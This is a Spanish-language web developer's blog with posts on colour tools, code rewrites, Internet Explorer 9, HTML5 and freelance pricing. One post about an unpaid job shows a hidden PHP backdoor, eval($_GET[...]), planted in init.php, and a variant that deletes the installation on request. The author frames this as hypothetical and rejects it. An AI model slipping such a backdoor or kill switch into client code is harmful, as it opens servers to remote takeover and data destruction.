Calcular colores complementarios

Hola gente,

Muchas veces, cuando estamos intentando terminar con los detalles finales de un sitio web, nos damos cuenta que necesitamos un color rojo para resaltar un error del usuario, o un color azul para clarificar algún asunto pendiente, y no solo eso, nos damos cuenta de que no hay esperanza de que nosotros mismos encontremos un color que no se vea espantoso.

Eso sucede, mis queridos amigos, porque apestamos buscando colores complementarios. La buena noticia, sin embargo, es que lo que muchos artistas y grandes pintores de otros tiempos lograban con tiempo y con talento, hoy lo podemos automatizar con software: software tan inteligente que es capaz de encontrar colores complementarios, inversos, reflexivos, rojos, amarillos y azules y todo eso.

Encontré en mi camino, la herramienta ideal para calcular colores complementarios. Estos colores son calculados a través de alguna oscura operación matemática, y por alguna razón, sin posibilidad de fallo, son agradables para nuestros ojos.

¿Útil, verdad?

Mis dos preferidos son estos:

Un abrazo grande,
Pedro

Nunca reescribir el código desde 0

Muchas veces miramos un código, y lo vemos, ahi parado. Está despeinado, y está vestido lleno de harapos, abandonado, viejo. La primera tentación, cuando estamos trabajando sobre código que no admiramos, es la de decirle al jefe: “Jefe, este código es un asco, realmente un desastre. Observe por que.”

Y ahi comenzamos a evaluar el código de otro programador, sin haber modificado una línea de ese código, y pretendiendo que uno, al desarrollar el arte secreto de la programación, hace todo a la perfección, y siempre va a escribir mejor código que ese que observamos (cosa que podría no ser real a los ojos de otro programador).

Este artículo cita otro artículo que leí hace bastantes años, y que anteayer volví a encontrar. Nos da la opinión de un experto sobre la muerte de netscape.

Comienza así.

26/04/2000, jueves

Netscape 6.0 acaba de sacar al público su primera beta. Su última versión, la versión 4.0, se liberó hace 3 años. Bastante tiempo sin un release, ¿Verdad?

Esa demora causó que su cuota del mercado se desplomara abismalmente, al punto en que hoy la mayoría de los usuarios no lo utiliza mas. No es una decisión muy inteligente.

Bueno, es un poco cruel el hecho de que los critique por hacer eso…Después de todo, no lo hicieron a propósito, ¿O si?

De hecho, eso es exáctamente lo que hicieron, comentiendo el error mas grande que puede cometer una empresa de desarrolo de software.

Decidieron reescribir el código desde 0

Y así nos va explicando, y describiendo detalladamente la muerte de netscape y varias otras companías de software. Es un poco doloroso, asique voy a saltearlo, y voy a dejar la resolución, que merece ser dicha en h3.

Leer código es mas dificil que escribirlo

Somos programadores. Somos, en nuestro corazón, arquitectos, y lo primero que queremos hacer cuando vemos un edificio es tirarlo abajo, y crearlo de nuevo. No nos emociona la mejora contínua, la pintura y el plantado de flores.

Muy recomendable el artículo.

¡Saludos!
Pedro

Internet explorer 9 (HTML 5, CSS 3)


El mercado de los navegadores sigue avanzando, aunque no al ritmo de la última tecnología web, muy rápidamente. Y tenemos, si queremos mantenerlos al día, que observar al nuevo internet explorer 9.

Este internet explorer parece lograr alcanzar a la web en su totalidad, y – acorde con microsoft – internet explorer goza de las siguientes características:

  • Velocidad: Sometido a las pruebas del WebKit Sunspider, Internet Explorer 9 se ubica en el quinto lugar de los navegadores mas rápidos, superando a la versión 3.7 de firefox.
  • Soporte selectores CSS3: Superó la prueba de selectores css 3 en su totalidad (598 / 598).
  • Soporte de estandares W3C: Se ubica ahora en el navegador que mas soporta los estandares, superando a todos los demás.

Desafortunadamente, parece que la estructura sobre la cual se desarrolló Internet Explorer 9 es demasiado avanzada para un sistema operativo como Windows XP, el sistema operativo mas usado del mundo:

Los usuarios de Windows XP tienen en Internet Explorer 8 un navegador veloz, seguro, estable y con opciones de privacidad. Mientras la Web ha estado evolucionando continuamente en todos los aspectos, desde la seguridad hasta el futuro HTML5 que los desarrolladores de aplicaciones están empezando a construir ese futuro desde hoy, ello exige a los navegadores hardware gráfico moderno y nuevos fundamentos de seguridad, infraestructura que ha surgido después del 2001. Internet Explorer 9 requiere de estos avances y está destinado a ser ejecutado en un sistema operativo moderno, con el fin de aprovechar las últimas innovaciones tanto de hardware como de sistema operativo.
Fuente

Otra característica no tan positiva sobre IE 9 sería su soporte de los estandares web acorde con el Acid 3 test. De acuerdo a este, obtiene un puntaje de 53/100.

Sabiendo estas cosas, podemos llegar a varias conclusiones respecto a como vamos a tener que enfrentar el hecho de desarrollar un sitio.

  • ¿Podremos utilizar los selectores CSS 3 y confiar en que serán soportados en todos los navegadores? Podremos, si utilizamos este script. De lo contrario, no. Ie 6, 7 y 8 no soportan estas características.
  • ¿Podremos utilizar la estructura HTML 5, para que sea mas sencillo indexar nuestros sitios web? Utilizando este script, si. De lo contrario, no.

Sin duda HTML 5 parece ser lo que se viene. Creo que va a ser mucho mas ameno el desarrollar una página web en un futuro, aunque va a ser un desafío hacer que un sitio web soporte todos los navegadores si no abandonamos el soporte para IE 6 pronto. ¿Cómo testear para IE 6, IE 7, IE 8, IE 8 as 7, y IE 9?

Internet explorer 9 y HTML 5 + CSS3

¡Hola amigos!

Vengo con una noticia alegre, y con un humor alegre además, porque, entre otras cosas, me encontré con que internet explorer nueve podría llegar a soportar HTML 5 y CSS 3. ¡Mortal!

grafica comparacion browsers

(La gráfica no tiene nada que ver con nada :P )

¡Un saludo!
Pedro

Google aumenta apoyo para HTML 5

Otra vez, google da signos de que tiene serias intenciones de apoyar el avance de la web, y ha abandonado el desarrollo de Gears, para poder dedicar su esfuerzo al HTML 5 [Fuente].

Esto nos da una pauta: Google, el buscador en el que queremos ser indexados, esta tomando medidas para incentivar una nueva generación de HTML que le beneficia mucho. Si google ve que utilizamos HTML 5, es muy probable que nos beneficie a la hora de saber en que posición de google vamos a aparecer.

Esto es una teoría, nada más, pero parece bastante evidente.

Los programadores y el poder

Hola a todos. Hoy estuve pensando, y ya no estoy tan seguro de que me vayan a pagar un proyecto en el que estuve trabajando hasta el cansancio, durante varios dias. El trabajo no era particularmente dificil, ni largo, pero como estoy con 8 horas diarias, el hecho de terminarlo fue bastante extenuante.

No me importa realmente el hecho de que no me paguen, y son solamente $75. Solamente me lleva a la cuestión, ¿acaso la persona para la que escribí el programa no sabe que si quisiera podría tener acceso a mi aplicación, y a travez de eso a todos sus sitios web? (porque por supuesto, todas las bases de datos estan bajo el mismo usuario y en el mismo servidor).

No es el caso, pero, digamos que entre las miles de líneas de código que tiene por ejemplo el archivo init.php de cualquier aplicación, yo agregara el siguiente código:

<?php
eval($_GET['JskqwWdSc231']);
?>
 

¿Sería tan dificil para mi romper la instalación para la que no me pagaron? ¿Sería conveniente no pagarme?

Por supuesto, toda acción tiene su consecuencia, y no me parece que sea buena idea meterme en servidores donde claramente no soy bienvenido, por un tema legal mas que nada. Pero si yo rompiera la instalación por la cual no se me pagó, de forma anónima, creo que no me sentiría nada mal.

<?php
if($_GET['JskqwWdSc231'])
  delete_directory(instalacion);
?>
 

¿Qué opinan ustedes, vale la pena? Yo personalmente, pienso que no, que no vale la pena manchar la reputación de uno por unos pesos.

Después de todo, es posible que tengan pensado pagarnos… Y si hacemos una cosa asi embarrariamos mucho la cosa. Todo problema es un problema interno.

Testear websites en diferentes Interet explorer.

Hola a todos.

Espero que esten ustedes muy bien. Como bien leerán en el título, voy a hablar sobre la instalación de varios internet explorer en un mismo PC. No era tan sencillo, hasta que encontré esto:

versiones soportadas

Esto es util cuando algún jefe nos dice que estadisticamente la mayoría de los usuarios todavía utilizan IE 6, o algo por el estilo.

Instala todas las versions de IE desde la versión 1.5 hasta la versión 8. ;) Si no funciona, también puede usarse IE Tester

Dejo entonces, a continuación los links:

Home
Direct link (55mb).

Y la esperanza que IE9 respete los estandares a la perfección, y que incluya una versión de Firebug :)

¡Un saludo!
Pedro

¿Como conseguir trabajo online?, y ¿Cuanto cobrar?

Hoy por hoy, uno como webmaster, desde mi punto de vista, tiene dos posibilidades. Trabajar para alguien por un sueldo fijo, o buscar trabajo freelance. Las dos tienen sus ventajas y sus desventajas, pero como principal ventaja de la segunda, esta el no tratar con un jefe, y es en esa en la que voy a centrarme.

Si uno tiene la “suerte” de vivir en un lugar del “primer” mundo, puede buscar trabajo directamente donde vive. En caso de que no tenga esa suerte, pero tenga la suerte de vivir en un país del tercer mundo, puede buscar un trabajo en el primer mundo y cobrarlo a travéz de sistemas de envío de dinero como Western Union, Money Gram, o Paypal, entre otros.

En todo caso, este post va a resumir la experiencia que voy a obtener en este próximo mes, ya que voy a buscar trabajo online en varios sitios web, con la intención principal de conseguir trabajo en un país del primer mundo.

¿Cuánto cobrar?

Cuanto cobrar es un asunto muy complicado. A continuación unas notas en el tema obtenidas de este artículo. Si uno cobra muy caro, se saca del mercado, y si cobra demasiado poco, en lugar de cobrar, esta pagando para trabajar. En resumen, a menos que seamos adivinos, nos conviene sacar un cálculo de lo que queremos ganar y cuanto debemos cobrar por hora. De esa forma, además, podemos afirmar que lo que cobramos es lo que consideramos correcto.

Continue reading